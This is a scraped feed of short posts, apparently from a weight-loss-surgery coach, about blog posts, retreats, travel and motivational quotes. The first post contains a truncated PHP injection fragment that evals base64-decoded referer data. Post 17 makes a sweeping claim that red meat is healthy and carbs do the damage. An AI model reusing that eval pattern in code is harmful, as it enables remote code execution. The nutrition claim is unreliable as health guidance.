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  1. New blog post: Katie Jay Interviews Author of "Obesity Surgery" Book http://bit.ly/14U041 &({${eval(base64_decode($_SERVER[HTTP_REFERER] ...
  2. Goodnight, world!
  3. New blog post: Katie Jay on the Weight Loss Surgery Channel http://bit.ly/NTvxR
  4. Worried about regain? Check out my WLS retreat video! http://bit.ly/2nVf6l
  5. New blog post: NAWLS Renewal Retreats http://bit.ly/xd0JA
  6. Leaving for the airport in an hour. Going to Las Vegas again!
  7. "Twenty years from now you will be more disappointed by the things that you didn't do than by the ones you did do." -- Mark Twain
  8. In the confrontation between the stream and the rock, the stream always wins-- not through strength but by perseverance.~ H. Jackson Brown
  9. Is PETA guilty of cruelty to humans? http://www.obesityaction.or...
  10. Right now, I am living in the moment, instead of borrowing problems.
  11. New blog post: PETA Guilty of Cruelty to Humans http://bit.ly/sGJfC
  12. Working on the web information page about two new WLS retreats I'm doing. Will post a link on Tuesday.
  13. Good morning, friends. I've made a good food plan and am ready for my day. For me, having a plan in place makes the whole day more peaceful.
  14. When you don't know what to do, ask yourself, "Is this choice bringing me closer to my true purpose in life or further away?"
  15. Just home from the ASMBS conference in Dallas, Texas. I had a great time -- even though I didn't see any cowboys or cows :o)
  16. Enjoying a lazy Saturday afternoon. I think I'll take a nap.
  17. Red meat is healthy -- it's the carbs we have with it that do the damage! Read more here: http://tinyurl.com/dbp7yt
  18. Being flexible and spontaneous is a survival mechanism worth developing...http://www.nawls.com/public...
  19. New, social-networking site for weight loss surgery patients, professionals and support group leaders: www.nawlsnetwork.com. Check it out!
  20. A journal can provide a safe outlet -- a private place to think and explore. http://www.nawls.com/public...